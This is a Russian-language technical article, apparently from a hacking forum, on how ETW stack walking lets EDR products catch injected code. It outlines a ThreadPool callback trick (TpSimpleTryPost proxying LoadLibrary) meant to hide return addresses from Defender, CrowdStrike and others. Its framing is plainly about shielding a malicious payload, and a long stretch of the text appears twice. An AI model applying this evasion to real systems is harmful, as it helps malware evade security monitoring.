В статье речь пойдёт о способах противодействия обратной трассировки стека такими инструментами как сторожа Defender, а в более общем случае и EDR. Рассматриваются принципы функционирования обратных вызовов Callback, а так-же устройство пула системных потоков из класса ThreadPool.
Содержание:
1. Общие сведения об EDR и ETW
Все современные антивирусы функционируют в тесной связке с EDR, работа которой основана на сборе телеметрии в ОС (например мониторы производительности, логи событий, сведения о файлах, запущенных процессов, и прочее). Далее эти сведения отправляются т.н. «Потребителям», для анализа и выявления штамов потенциальных угроз. Техника обнаружения здесь довольно серьёзная – некоторые EDR используют хуки Win32API, но в своей массе это более мощный механизм ядра под названием ETW или «Event Tracing for Windows» – пошаговая трассировка системных событий, в т.ч. и для захвата стека исполняемых файлов. Начиная с 64 разрядной «Windows 7 Professional Edition», в штатную поставку ОС включёна подсистема поведенческой аналитики WPA или «Windows Performance Analyzer», частью которого и является ETW с монитором PerfMon.
На данный момент рынок предлагает нам несколько решений EDR, что позволяет экономить системные ресурсы в зависимости от сферы применения:
Чтобы влиться в тему предположим, что нужно запустить шелл в чужом пространстве, для чего сначала требуется выделить блок памяти требуемого размера через VirtualAlloc(), затем скопировать туда код чз WriteProcessMemoryEx(), и наконец выполнить его, передав каким-либо способом управление, например ResumeThread(). С этого момента шелл может делать что угодно, например потянуть за LoadLibrary() для загрузки произвольных библиотек с диска в память процесса-жертвы, с последующим вызовом из них функций.
Однако если системный сторож EDR использовал хуки на WinAPI, он мог уже перехватить LoadLibrary(), чтобы проверить оставшийся стеке адрес возврата – этот адрес сдаст с потрохами наш вредоностный код. Подобное поведение характерно для таких EDR как «Crowd-Strike», «Sentinel-One» и прочих, которые мгновенно отправят к праотцам Payload.
Другие EDR типа «WinDefender ATP» или сторонние «Elastic», «FortiEDR» etc, как правило используют ETW, чтобы определить, от кого именно исходил вызов (в данном случае) LoadLibrary(). Обратная трассировка стека «Stack Walking» предоставит аналитику исчерпывающий фрейм стековой памяти, включая адрес-возврата и имена всех функций, с которых начался вызов подозрительной API. В общем ничего хорошего это нам не сулит.
Графическую оболочку механизма WPA можно найти в папке
Обратите внимание на список Win32API в конце лога утилиты. Софт EDR может расширить его своими провайдерами, чтобы взять под контроль более обширные территории ОС. Оказавшись под таким колпаком нам приходится только мириться, укланяясь от радаров сторожей всеми возможными способами. Позже мы рассмотрим один из вариантов ухода из под трассировки стека ERD.
1.1. Обзор внутренних компонентов ETW
Два основных компонента ETW – это поставщики/провайдеры и потребители. Поставщики отправляют события в идентификатор GUID-ETW, в результате чего соответствующее событие записывается в файл, или в буфер памяти. В зависимости от версии, в Windows могут быть зарегистрированы тысячи поставщиков, а лист доступных на текущий момент возвращает команда
Каждый из этих поставщиков определяет собственные события (указываются в их файле манифеста xml), которые используются потребителями для анализа данных. Поставщики могут определять сотни типов событий, поэтому объём получаемой от ETW информации просто огромен. Большинство событий можно увидеть в оснастке «EventViewer», запустив её командой
При желании можно просмотреть всех активных потребителей ETW в окне системного монитора
Интересен был-бы список процессов, которые получают события из журнала ETW, но из под юзера получить его не реально. И даже драйвером это непростая задача, если мы плохо знакомы с внутренним устройством ETW. Однако отладчиком WinDbg всё-же можно пролезть в тайные закрома логгера, но это тема для отдельного разговора, а потому здесь не затрагивается. Сейчас нам будет достаточно лишь приведённых выше базовых сведений, чтобы определить фронт работы и понять, о чём вообще тут разговор. Напомню, что задача – пройти мимо телеметрии стека механизмом ETW, на который так надеется вышестоящий орган власти EDR.
2. Устройство и принцип работы обратных вызовов Callback
Программный интерфейс Callback – это функция(В), которая передаётся в качестве аргумента родительской функции(А), внутри которой и исполняется. Спроецировав обратные вызовы на повседневную жизнь можно сказать, что здесь мы сами просим операторов перезвонить, оставляя им свой номер телефона. Более того имеются и овер дружелюбные компании, которые любезно cпрашивают, в какое именно время удобно нам связаться с ними – в контексте программирования этим занимается ожидающая определённого события функция WaitForSingleObject(), с привязанным к ней таймером.
Возьмём, к примеру, функцию из либы User32.dll EnumWindows(). В описании на MSDN говорится, что она перечисляет все окна верхнего уровня на рабочем столе, передавая дескриптор каждого окна в определённую приложением функцию обратного вызова. EnumWindows() продолжает работу до тех пор, пока не будет перечислено последнее окно верхнего уровня, или функция обратного вызова не вернет
Таким образом, чтобы перечислить все активные окна, нам достаточно вызвать EnumWindows(), а всю грязную работу проделает уже сама система, на каждом шаге отчитываясь перед нами сбросом дескриптора в функцию Callback. Внутри колбека система даёт нам полный картбланш, так-что можно вызывать другие WinAPI, ну или в любой момент прервать цикл поиска, просто вернув в регистре
Как видим механизм удобный, только нужно учитывать, что все функции с обратными вызовами являются синхронными, а значит вызвавший в данном случае EnumWindows() поток приостанавливается, пока его функция Callback полностью не отработает свой потенциал. Вот простой пример использования её на практике:
Таким образом, не затратив особых усилий мы получили не плохой объём информации от системы.
Помимо рассмотренной здесь EnumWindows(), в широких штанинах Win32API припрятаны более сотни поддерживающих вызовы Callback функций, а в спойлер я собрал лишь некоторые из пользовательских, всё с тем-же префиксом перечисления Enumerate.
Поскольку мы сейчас пытаемся уйти от телеметрии сторожа EDR, то использование обычных Callback-функций нам не подходит. Дело в том, что внутренние процедуры EDR слежения за стеком основываются на обратной раскрутке стековых фреймов, вытаскивая из них адреса-возврата из функций. Скрыть эти адреса в принципе не возможно, т.к. это организовано на аппаратном уровне инструкциями процессором – при вызове процедур и функций
На скрине выше, последовательность вызовов функций отображается снизу-вверх (в столбце комментов указано, кто-кому передал эстафету). Тогда получается, что основной вызов исходил из кода пользовательского уровня по адресу
Можно ли как-то обойти этот блок-пост не вызвав огонь на себя? Как оказалось можно, но только при условии, что будем вызывать запрещённые API от лица самой системы (привет уровень доверия и целостности сис.объектов Integrity_Level), причём обязательно из другого программного потока Thread, чтобы адрес-возврата указывал в нёдра системы, а не в нашу секцию-кода как в примере выше.
3. Системный интерфейс ThreadPool
В системе имеется набор служебных потоков «ThreadPool», которые эффективно выполняют асинхронные обратные вызовы Callback от имени приложения (асинхронные, значит не останавливают основной поток кода). Когда мы запрашиваем у системы потоки из данного пула, они всегда будут работать в фоне нашего приложения. Фишка предусмотрена для сокращения кол-ва потоков процесса, что в конечном итоге влияет на экономию ресурсов и производительность. Приложения могут создавать рабочие элементы Work, автоматически ставить потоки в очередь на основе таймера Wait, в любой момент активировать их, и многое другое. С перечнем функций из класса ThreadPool можно ознакомиться раскрыв спойлер ниже. Обратите внимание, что все нативные функции из Ntdll.dll начинаются с префикса Tp_xx():
Программная архитектура пула состоит из следующих элементов:
Обратите внимание на последний пункт(4) выше, где речь идёт о таймерах. Дело в том, что в целях повышения производительности, ядро ОС не следит как нянька за своими потоками из ThreadPool – система просто выделяет им время жизни по внутреннему таймеру (в дефолте вроде ~7 сек, но не точно), чего вполне хватает для большинства задач. Однако функцией WaitForSingleObject() мы можем или продлить жизнь потоку, или наоборот прибить его преждевременно. В любом случае, при использовании потоков из пула, нам нужно предусмотреть поверх системного, дополнительный свой таймер Wait.
4. Практическая реализация обхода EDR
Думаю для теории достаточно, и теперь попробуем реализовать байпас логгера StackWalk на практике.
В качестве функции с обратным вызовом буду использовать самую простую из класса ThreadPool, нативную TpSimpleTryPost(), которая просто отправляет запрос в пул, с парочкой возможных аргументов:
Значит TpSimpleTryPost() в первом аргументе ожидает увидеть указатель на колбек-функцию в нашем приложении. Однако если отойти от предписанных майками правил (которые как известно придуманы, чтобы их нарушать), то ничто не мешает нам подменить этот указатель, подставив вместо него линк на уже готовую Win32API, например пусть будет LoadLibrary(), которая подгрузит произвольную библиотеку с диска, в пространство нашего процесса. Тогда 2 оставшихся аргумента TpSimpleTryPost() можно будет использовать в качестве аргументов для (без шума и пыли) вызываемой LoadLibrary(), у которой всего 1 аргумент с указателем на имя библиотеки DLL. А что.. хорошая идея!
Но на практике мы столкнёмся с проблемой расположения аргументов. Дело в том, что по соглашению fastcall x64, первые(4) параметра передаются функциям API в регистрах
Выйти из данной ситуации можно просто создав колбек-функцию с трамплином/стаб, в которой тупо поменять значения регистров
И здесь всплывает резонный вопрос: «Если управление в API передаётся без адреса-возврата инструкцией JMP, то как тогда родительский/основной поток нашего приложения получит обратно управление?». А ведь и правда.. при отсутствии адреса-возврата LoadLibrary() отработает-то нормально, только вот вернуться в свет уже не сможет, провалившись как в чёрную дыру. Без предпринятых заранее мер, рано или поздно это приведёт к краху приложения – тут и играет нам на руку внутренний таймер потоков пула.
Выше уже говорилось, что жизненный цикл их ограничен, и по истечении ~5..7 сек система безжалостно киляет их. По процессорным меркам, такой период является вечностью, а потому мы просто сами завершим поток обратного-вызова через WaitForSingleObject(), передав ей в аргументе хэндл рабочего процесса из фабрики ThreadPool, запросив его у GetCurrentProcess().
Ну вроде это всё, что требуется нам для обхода сторожей логгера ETW – вот пример реализации задуманного на практике.
Чтобы не было совсем уж скучно в секции-кода тестового приложения, я добавил в него инструкцию ротации всех бит имени библиотеки
Как видим – план сработал, и либа Dbghelp.dll благополучно загрузилась в пространство моего процесса, но что самое главное, приложение не упало на обоих моих системах Win7/10. Теперь загрузим бинарь в отладчик, поставим точку останова BreakPoint на функцию
Значит первый вызов LoadLibrary() стандартным способом оставил в стеке адрес-возврата в нашу секцию-кода, по которому логгер механизма ETW тут-же нас запалит. Зато если продолжить сейчас выполнение по F9, то попадём уже во-второй вызов LoadLibrary(), который порождает функция колбека ThreadPool. Упс.. от куда-то появился второй поток с идентификатором
В нашем-же основном потоке с
Аналогичную картину можно наблюдать и в отладчике WinDbg:
5. Заключение
Устройство и принцип работы обратных вызовов Callback само по себе носит таинственный характер, а в миксе с пулом системных потоков ThreadPool превращается в бронебойный снаряд разрывного действия. Усугубляет ситуацию ещё и то, что отлаживать потоки пула большинство дебагеров отказываются, тупо зависая на входе без каких-либо на это оснований.
Здесь мы рассмотрели лишь один «грязный» метод передачи управления в колбек, с ламерской правкой порядка аргументов в регистрах
В скрепку положил экзешник на случай, если кто захочет потрассировать файл в отладчике. Удачи, до скорого!
Содержание:
- Общие сведения об EDR и WPA
- Устройство и принцип работы обратных вызовов Callback
- Системный интерфейс ThreadPool
- Практическая реализация обхода EDR
- Заключение
1. Общие сведения об EDR и ETW
Все современные антивирусы функционируют в тесной связке с EDR, работа которой основана на сборе телеметрии в ОС (например мониторы производительности, логи событий, сведения о файлах, запущенных процессов, и прочее). Далее эти сведения отправляются т.н. «Потребителям», для анализа и выявления штамов потенциальных угроз. Техника обнаружения здесь довольно серьёзная – некоторые EDR используют хуки Win32API, но в своей массе это более мощный механизм ядра под названием ETW или «Event Tracing for Windows» – пошаговая трассировка системных событий, в т.ч. и для захвата стека исполняемых файлов. Начиная с 64 разрядной «Windows 7 Professional Edition», в штатную поставку ОС включёна подсистема поведенческой аналитики WPA или «Windows Performance Analyzer», частью которого и является ETW с монитором PerfMon.
На данный момент рынок предлагает нам несколько решений EDR, что позволяет экономить системные ресурсы в зависимости от сферы применения:
• EPP – Endpoint Protection Platform (платформа защиты конечных точек в виде компьютеров и мобильных устройств) направлена на предотвращение известных атак на основе сигнатурных баз. Блэк-листы выявляют и блокируют выполнение известных угроз. Эти инструменты не могут обнаружить неизвестные атаки ZeroDay, а также не способны обеспечить видимости сети LAN.
• EDR – Endpoint Detection and Response (обнаружение и реагирование на угрозы в конечных точках) в режиме RealTime ведёт мониторинг происходящего в системе, и анализирует эти данные для обнаружения не только известных, но и потенциальных киберугроз. Если интеллектуальная логика EDR обнаруживает подозрительные события, об этом оповещаются сотрудники службы безопасности, которые будут проводить дальнейшее расследование инцидентов.
• XDR – eXtended Detection and Response расширяет сферу безопасности за пределы конечных точек, таких как сети, облачные платформы и электронная почта.
Чтобы влиться в тему предположим, что нужно запустить шелл в чужом пространстве, для чего сначала требуется выделить блок памяти требуемого размера через VirtualAlloc(), затем скопировать туда код чз WriteProcessMemoryEx(), и наконец выполнить его, передав каким-либо способом управление, например ResumeThread(). С этого момента шелл может делать что угодно, например потянуть за LoadLibrary() для загрузки произвольных библиотек с диска в память процесса-жертвы, с последующим вызовом из них функций.
Однако если системный сторож EDR использовал хуки на WinAPI, он мог уже перехватить LoadLibrary(), чтобы проверить оставшийся стеке адрес возврата – этот адрес сдаст с потрохами наш вредоностный код. Подобное поведение характерно для таких EDR как «Crowd-Strike», «Sentinel-One» и прочих, которые мгновенно отправят к праотцам Payload.
Другие EDR типа «WinDefender ATP» или сторонние «Elastic», «FortiEDR» etc, как правило используют ETW, чтобы определить, от кого именно исходил вызов (в данном случае) LoadLibrary(). Обратная трассировка стека «Stack Walking» предоставит аналитику исчерпывающий фрейм стековой памяти, включая адрес-возврата и имена всех функций, с которых начался вызов подозрительной API. В общем ничего хорошего это нам не сулит.
Графическую оболочку механизма WPA можно найти в папке
..\Program Files\ Performance Toolkit
, хотя для гурманов имеется и утилита ком.строки xperf
. В контексте данной статьи нас будет интересовать трассировка стека, что на английский манер звучит как «StackWalking» (stack trace/unwind – прогулка, трассировка, раскрутка стека):
Код:
C:\> xperf /?
Microsoft (R) Windows (R) Performance Analyzer Version 4.8.7701
Performance Analyzer Command Line
Copyright (c) Microsoft Corporation. All rights reserved.
Usage: xperf options ...
xperf -help view for xperfview, the graphical user interface
xperf -help start for logger start options
xperf -help providers for known tracing flags
xperf -help stackwalk for stack walking options <----------------//
xperf -help stop for logger stop options
xperf -help merge for merge multiple trace files
xperf -help processing for trace processing options
xperf -help symbols for symbol decoding configuration
xperf -help query for query options
xperf -help mark for mark and mark-flush
xperf -help format for time and timespan formats on the command line
xperf -help profiles for profile options
C:\> xperf -help stackwalk
Флаги обхода стека можно указать либо непосредственно в командной строке, либо в файле:
xperf -on base -stackwalk ThreadCreate+ProcessCreate
xperf -on base -stackwalk ThreadCreate -stackwalk ProcessCreate
xperf -on base -stackwalk @stack.txt
xperf -on base -stackwalk 0x0501
Пользовательские флаги обхода стека можно указать в формате 0xMmNn,
где Mm — это группа событий, а Nn — это тип.
Файл обхода стека может содержать любое количество флагов разделенных пробелами,
знаками плюс («+») или на новых строках. Файл также может содержать пустые строки,
или комментарии с префиксом "!" :
ThreadCreate ProcessCreate
DiskReadInit+DiskWriteInit+DiskFlushInit
CSwitch
Ниже приведен список распознаваемых флагов обхода стека:
NT Kernel Logger provider:
ProcessCreate PagefaultTransition
ProcessDelete PagefaultDemandZero
ImageLoad PagefaultCopyOnWrite
ImageUnload PagefaultGuard
ThreadCreate PagefaultHard
ThreadDelete PagefaultAV
CSwitch VirtualAlloc
ReadyThread VirtualFree
ThreadSetPriority PagefileBackedImageMapping
ThreadSetBasePriority ContiguousMemoryGeneration
Mark HeapRangeCreate
SyscallEnter HeapRangeReserve
SyscallExit HeapRangeRelease
Profile HeapRangeDestroy
ProfileSetInterval AlpcSendMessage
DiskReadInit AlpcReceiveMessage
DiskWriteInit AlpcWaitForReply
DiskFlushInit AlpcWaitForNewMessage
FileCreate AlpcUnwait
FileCleanup AlpcConnectRequest
FileClose AlpcConnectSuccess
FileRead AlpcConnectFail
FileWrite AlpcClosePort
FileSetInformation ThreadPoolCallbackEnqueue
FileDelete ThreadPoolCallbackDequeue
FileRename ThreadPoolCallbackStart
FileDirEnum ThreadPoolCallbackStop
FileFlush ThreadPoolCallbackCancel
FileQueryInformation ThreadPoolCreate
FileFSCTL ThreadPoolClose
FileDirNotify ThreadPoolSetMinThreads
FileOpEnd ThreadPoolSetMaxThreads
SplitIO PowerSetPowerAction
RegQueryKey PowerSetPowerActionReturn
RegEnumerateKey PowerSetDevicesState
RegEnumerateValueKey PowerSetDevicesStateReturn
RegDeleteKey PowerDeviceNotify
RegCreateKey PowerDeviceNotifyComplete
RegOpenKey PowerSessionCallout
RegSetValue PowerSessionCalloutReturn
RegDeleteValue PowerPreSleep
RegQueryValue PowerPostSleep
RegQueryMultipleValue PowerPerfStateChange
RegSetInformation PowerIdleStateChange
RegFlush PowerThermalConstraint
RegKcbCreate ExecutiveResource
RegKcbDelete PoolAlloc
RegVirtualize PoolAllocSession
RegCloseKey PoolFree
HardFault PoolFreeSession
PagefaultTransition
Other system providers:
HeapCreate HeapFree
HeapAlloc HeapDestroy
HeapRealloc
C:\>
Обратите внимание на список Win32API в конце лога утилиты. Софт EDR может расширить его своими провайдерами, чтобы взять под контроль более обширные территории ОС. Оказавшись под таким колпаком нам приходится только мириться, укланяясь от радаров сторожей всеми возможными способами. Позже мы рассмотрим один из вариантов ухода из под трассировки стека ERD.
1.1. Обзор внутренних компонентов ETW
Два основных компонента ETW – это поставщики/провайдеры и потребители. Поставщики отправляют события в идентификатор GUID-ETW, в результате чего соответствующее событие записывается в файл, или в буфер памяти. В зависимости от версии, в Windows могут быть зарегистрированы тысячи поставщиков, а лист доступных на текущий момент возвращает команда
logman query providers
. Поскольку портянка получается длинная, перенаправлением find
можно запросить только общее их число – на своей Win7 я получил всего 665 тушканчиков:
Код:
C:\> logman query providers
C:\> logman query providers | find /c /v ""
665
Каждый из этих поставщиков определяет собственные события (указываются в их файле манифеста xml), которые используются потребителями для анализа данных. Поставщики могут определять сотни типов событий, поэтому объём получаемой от ETW информации просто огромен. Большинство событий можно увидеть в оснастке «EventViewer», запустив её командой
eventvwr.msc
в окне выполнить Win+R. На другом конце связи у нас потребители – это сеансы трассировки журналов, которые получают события от одного или нескольких провайдеров. К примеру все EDR в процессе своей работы полагаются на данные логгера ETW, так-что будут потреблять события из закрытых его каналов Pipe.При желании можно просмотреть всех активных потребителей ETW в окне системного монитора
Win+R ->perfmon
, что будет эквивалентно консольной команде logman query –ets
. Клик на любом имени сеансов отобразит окно с поставщиками, на которых он подписан.
Код:
C:\> logman /?
C:\> logman query "Audio" -ets
Имя: Audio
Состояние: Работает
Корневой путь: %systemdrive%\PerfLogs\Admin
Сегмент: выкл.
Расписания: вкл.
Макс размер сегмента: 2 МБ
Имя: Audio\Audio
Тип: Слежение
Добавление: выкл.
Циклический: выкл.
Замена: выкл.
Размер буфера: 4
Потеряно буферов: 0
Записано буферов: 0
Таймер очистки: 0
Тип таймера: Система
Режим файла: Буферизация
Поставщик
Имя: {E27950EB-1768-451F-96AC-CC4E14F6D3D0}
GUID поставщика: {E27950EB-1768-451F-96AC-CC4E14F6D3D0}
Level: 4
KeywordsAll: 0x0
KeywordsAny: 0x7fffffff
Properties: 0
Тип фильтра: 0
Команда выполнена успешно.
C:\> logman query providers
C:\> logman query providers Microsoft-Windows-Kernel-Process
Поставщик GUID
-------------------------------------------------------------------------------
Microsoft-Windows-Kernel-Process {22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}
Значение Ключевое слово Описание
-------------------------------------------------------------------------------
0x0000000000000010 WINEVENT_KEYWORD_PROCESS
0x0000000000000020 WINEVENT_KEYWORD_THREAD
0x0000000000000040 WINEVENT_KEYWORD_IMAGE
0x0000000000000080 WINEVENT_KEYWORD_CPU_PRIORITY
0x0000000000000100 WINEVENT_KEYWORD_OTHER_PRIORITY
Значение Уровень Описание
-------------------------------------------------------------------------------
0x04 win:Informational Сведения
Команда выполнена успешно.
Интересен был-бы список процессов, которые получают события из журнала ETW, но из под юзера получить его не реально. И даже драйвером это непростая задача, если мы плохо знакомы с внутренним устройством ETW. Однако отладчиком WinDbg всё-же можно пролезть в тайные закрома логгера, но это тема для отдельного разговора, а потому здесь не затрагивается. Сейчас нам будет достаточно лишь приведённых выше базовых сведений, чтобы определить фронт работы и понять, о чём вообще тут разговор. Напомню, что задача – пройти мимо телеметрии стека механизмом ETW, на который так надеется вышестоящий орган власти EDR.
2. Устройство и принцип работы обратных вызовов Callback
Программный интерфейс Callback – это функция(В), которая передаётся в качестве аргумента родительской функции(А), внутри которой и исполняется. Спроецировав обратные вызовы на повседневную жизнь можно сказать, что здесь мы сами просим операторов перезвонить, оставляя им свой номер телефона. Более того имеются и овер дружелюбные компании, которые любезно cпрашивают, в какое именно время удобно нам связаться с ними – в контексте программирования этим занимается ожидающая определённого события функция WaitForSingleObject(), с привязанным к ней таймером.
Возьмём, к примеру, функцию из либы User32.dll EnumWindows(). В описании на MSDN говорится, что она перечисляет все окна верхнего уровня на рабочем столе, передавая дескриптор каждого окна в определённую приложением функцию обратного вызова. EnumWindows() продолжает работу до тех пор, пока не будет перечислено последнее окно верхнего уровня, или функция обратного вызова не вернет
FALSE=0
.
C++:
BOOL EnumWindows( // Если выполнена успешно, возвращает TRUE=1
[in] WNDENUMPROC lpEnumFunc, // Указатель на функцию обратного вызова Callback
[in] LPARAM lParam // Можно передать аргумент в Callback, иначе нуль
);
//-------------------------------------------
// Функция обратного вызова для EnumWindows()
// Получает дескрипторы окон верхнего уровня
//-------------------------------------------
BOOL CALLBACK EnumWindowsProc(
[in] HWND hwnd, // Дескриптор Handle окна верхнего уровня
[in] LPARAM lParam // Если есть, указанное в EnumWindows() значение аргумента
);
// Возвращаемое значение:
// Чтобы продолжить перечисление, функция обратного вызова должна вернуть TRUE=1;
// Чтобы остановить перечисление, функция должна вернуть FALSE=0.
Таким образом, чтобы перечислить все активные окна, нам достаточно вызвать EnumWindows(), а всю грязную работу проделает уже сама система, на каждом шаге отчитываясь перед нами сбросом дескриптора в функцию Callback. Внутри колбека система даёт нам полный картбланш, так-что можно вызывать другие WinAPI, ну или в любой момент прервать цикл поиска, просто вернув в регистре
EAX=0
.Как видим механизм удобный, только нужно учитывать, что все функции с обратными вызовами являются синхронными, а значит вызвавший в данном случае EnumWindows() поток приостанавливается, пока его функция Callback полностью не отработает свой потенциал. Вот простой пример использования её на практике:
C-подобный:
format pe64 console
include 'win64ax.inc'
entry start
;//-----------
section '.data' data readable writeable
buff db 0
;//-----------
section '.text' code readable executable
start: sub rsp,8
invoke SetConsoleTitle,<'*** EnumWindows() example ***',0>
invoke EnumWindows,CallbackProc,0 ;// зовём API
@exit: cinvoke _getch
cinvoke exit, 0
;//-----------
align 8
proc CallbackProc Hndl,Arg ;//<-------------- Функция обратного вызова: RCX=Hndl, RDX=Arg
push rcx
invoke GetWindowText,rcx,buff,512 ;// прочитаем заголовок окна по Handle
push rax
invoke CharToOem,buff,buff ;// ANSI_to_OEM для вывода кирилицы в консоль
pop rax rdx
or rax,rax ;// проверить GetWindowText() на ошибку
jz @next
cinvoke printf,<10,' WinHndl: 0x%08x Name: %s',0>,rdx,buff ;// печать, если ОК
@next: mov rax,1 ;// возвращаем системе TRUE = продолжить!
ret
endp
;//-----------
section '.idata' import data readable
library msvcrt,'msvcrt.dll',kernel32,'kernel32.dll',user32,'user32.dll'
include 'api\msvcrt.inc'
include 'api\kernel32.inc'
include 'api\user32.inc'
Таким образом, не затратив особых усилий мы получили не плохой объём информации от системы.
Помимо рассмотренной здесь EnumWindows(), в широких штанинах Win32API припрятаны более сотни поддерживающих вызовы Callback функций, а в спойлер я собрал лишь некоторые из пользовательских, всё с тем-же префиксом перечисления Enumerate.
Код:
CertEnumSystemStore
CertEnumSystemStoreLocation
CopyFile2
CopyFileEx
CreateThreadPoolWait
CreateTimerQueueTimer_Tech
CryptEnumOIDInfo
EnumCalendarInfo
EnumCalendarInfoEx
EnumChildWindows
EnumDesktopW
EnumDesktopWindows
EnumDirTreeW
EnumDisplayMonitors
EnumerateLoadedModules
EnumFontFamiliesExW
EnumFontFamiliesW
EnumFontsW
EnumICMProfiles
EnumLanguageGroupLocalesW
EnumObjects
EnumPageFilesW
EnumPropsEx
EnumPropsW
EnumPwrSchemes
EnumResourceTypesExW
EnumResourceTypesW
EnumSystemLocales
EnumThreadWindows
EnumTimeFormatsEx
EnumUILanguagesW
EnumWindows
EnumWindowStationsW
FiberContextEdit
FlsAlloc
ImageGetDigestStream
ImmEnumInputContext
InitOnceExecuteOnce
LdrEnumerateLoadedModules
LdrpCallInitRoutine
OpenThreadWaitChainSession
RtlUserFiberStart
SetTimer
SetupCommitFileQueueW
SymEnumProcesses
SymFindFileInPath
SysEnumSourceFiles
VerifierEnumerateResource
Поскольку мы сейчас пытаемся уйти от телеметрии сторожа EDR, то использование обычных Callback-функций нам не подходит. Дело в том, что внутренние процедуры EDR слежения за стеком основываются на обратной раскрутке стековых фреймов, вытаскивая из них адреса-возврата из функций. Скрыть эти адреса в принципе не возможно, т.к. это организовано на аппаратном уровне инструкциями процессором – при вызове процедур и функций
CALL
помещает в стек адрес-возврата, а обратная ей инструкция RET
снимает этот адрес со-стека, и переходит по нему. Вот как будет выглядеть стек вызовов в отладчике, если установить точку-останова BreakPoint на входе в EnumCallback:На скрине выше, последовательность вызовов функций отображается снизу-вверх (в столбце комментов указано, кто-кому передал эстафету). Тогда получается, что основной вызов исходил из кода пользовательского уровня по адресу
0x00402052
(см.столбец «Из..»), куда по окончанию и вернётся (столбец «В..»). Таким образом, разведчикам EDR не придётся даже открывать свою кобуру, поскольку мы сами здесь выходим из окопов с поднятыми руками. У EDR имеется лист подозрительных API-функций, и если мы попытаемся сейчас вызвать любую из них, то с вероятностью 99% попадёмся в плен.Можно ли как-то обойти этот блок-пост не вызвав огонь на себя? Как оказалось можно, но только при условии, что будем вызывать запрещённые API от лица самой системы (привет уровень доверия и целостности сис.объектов Integrity_Level), причём обязательно из другого программного потока Thread, чтобы адрес-возврата указывал в нёдра системы, а не в нашу секцию-кода как в примере выше.
3. Системный интерфейс ThreadPool
В системе имеется набор служебных потоков «ThreadPool», которые эффективно выполняют асинхронные обратные вызовы Callback от имени приложения (асинхронные, значит не останавливают основной поток кода). Когда мы запрашиваем у системы потоки из данного пула, они всегда будут работать в фоне нашего приложения. Фишка предусмотрена для сокращения кол-ва потоков процесса, что в конечном итоге влияет на экономию ресурсов и производительность. Приложения могут создавать рабочие элементы Work, автоматически ставить потоки в очередь на основе таймера Wait, в любой момент активировать их, и многое другое. С перечнем функций из класса ThreadPool можно ознакомиться раскрыв спойлер ниже. Обратите внимание, что все нативные функции из Ntdll.dll начинаются с префикса Tp_xx():
Код:
Функции Win32API из библиотеки Kernel32.dll
-------------------------------------------
CreateThreadpool
CreateThreadpoolCleanupGroup
CreateThreadpoolIo
CreateThreadpoolTimer
CreateThreadpoolWait
CreateThreadpoolWork
CloseThreadpool
CloseThreadpoolCleanupGroup
CloseThreadpoolIo
CloseThreadpoolTimer
CloseThreadpoolWait
CloseThreadpoolWork
WaitForThreadpoolIoCallbacks
WaitForThreadpoolTimerCallbacks
WaitForThreadpoolWaitCallbacks
WaitForThreadpoolWorkCallbacks
SetThreadpoolStackInformation
SetThreadpoolThreadMaximum
SetThreadpoolThreadMinimum
SetThreadpoolTimer
SetThreadpoolWait
QueryThreadpoolStackInformation
StartThreadpoolIo
SubmitThreadpoolWork
TrySubmitThreadpoolCallback
IsThreadpoolTimerSet
Функции NtAPI из библиотеки Ntdll.dll
-------------------------------------------
TpAllocAlpcCompletion
TpAllocCleanupGroup
TpAllocIoCompletion
TpAllocPool
TpAllocTimer
TpAllocWait
TpAllocWork
TpReleaseAlpcCompletion
TpReleaseCleanupGroup
TpReleaseIoCompletion
TpReleasePool
TpReleaseTimer
TpReleaseWait
TpReleaseWork
TpSetTimer
TpIsTimerSet
TpSetWait
TpPostWork
TpSimpleTryPost
TpWaitForAlpcCompletion
TpWaitForIoCompletion
TpWaitForTimer
TpWaitForWait
TpWaitForWork
TpSetDefaultPoolMaxThreads
TpSetDefaultPoolStackInformation
TpSetPoolMaxThreads
TpSetPoolMinThreads
TpSetPoolStackInformation
TpStartAsyncIoOperation
TpAlpcRegisterCompletionList
TpAlpcUnregisterCompletionList
TpCallbackIndependent
TpCallbackLeaveCriticalSectionOnCompletion
TpCallbackMayRunLong
TpCallbackReleaseMutexOnCompletion
TpCallbackReleaseSemaphoreOnCompletion
TpCallbackSetEventOnCompletion
TpCallbackUnloadDllOnCompletion
TpCancelAsyncIoOperation
TpCaptureCaller
TpCheckTerminateWorker
TpDbgDumpHeapUsage
TpDbgSetLogRoutine
TpDisablePoolCallbackChecks
TpDisassociateCallback
TpQueryPoolStackInformation
Программная архитектура пула состоит из следующих элементов:
- Пул потоков по умолчанию для каждого процесса в системе
- Основные рабочие потоки, которые исполняют функции обратных вызовов Callback
- Фабрика системных процессов, которая управляет рабочими потоками
- Очередь работ и потоки ожидания команд
- Каждому процессу система резервирует макс. 500 потоков из своего пула
- Запрошенные (allocate) из пула потоки будут работать в фоне нашего приложения
- Исполняются сразу в отдельных системных потоках (нам не нужно создавать их вручную)
- Потоки из пула имеют свои таймеры, по истечении времени которых потоки завершаются принудительно
Обратите внимание на последний пункт(4) выше, где речь идёт о таймерах. Дело в том, что в целях повышения производительности, ядро ОС не следит как нянька за своими потоками из ThreadPool – система просто выделяет им время жизни по внутреннему таймеру (в дефолте вроде ~7 сек, но не точно), чего вполне хватает для большинства задач. Однако функцией WaitForSingleObject() мы можем или продлить жизнь потоку, или наоборот прибить его преждевременно. В любом случае, при использовании потоков из пула, нам нужно предусмотреть поверх системного, дополнительный свой таймер Wait.
4. Практическая реализация обхода EDR
Думаю для теории достаточно, и теперь попробуем реализовать байпас логгера StackWalk на практике.
В качестве функции с обратным вызовом буду использовать самую простую из класса ThreadPool, нативную TpSimpleTryPost(), которая просто отправляет запрос в пул, с парочкой возможных аргументов:
C++:
NTSTATUS NTAPI TpSimpleTryPost (
[in] PTP_SIMPLE_CALLBACK Callback, // Указатель на функцию обратного вызова
[in_out] PVOID Context, // Нуль, или указатель на контекст
[in] PTP_CALLBACK_ENVIRON CallbackEnviron // Нуль, или указатель на окружение
);
//---- Функция обратного вызова -----------------
BOOL CALLBACK TP_SIMPLE_CALLBACK (
[in_opt] PVOID Context // функция получает аргумент в регистре RCX
[in_opt] PTP_CALLBACK_ENVIRON CallbackEnviron // получает аргумент в RDX
);
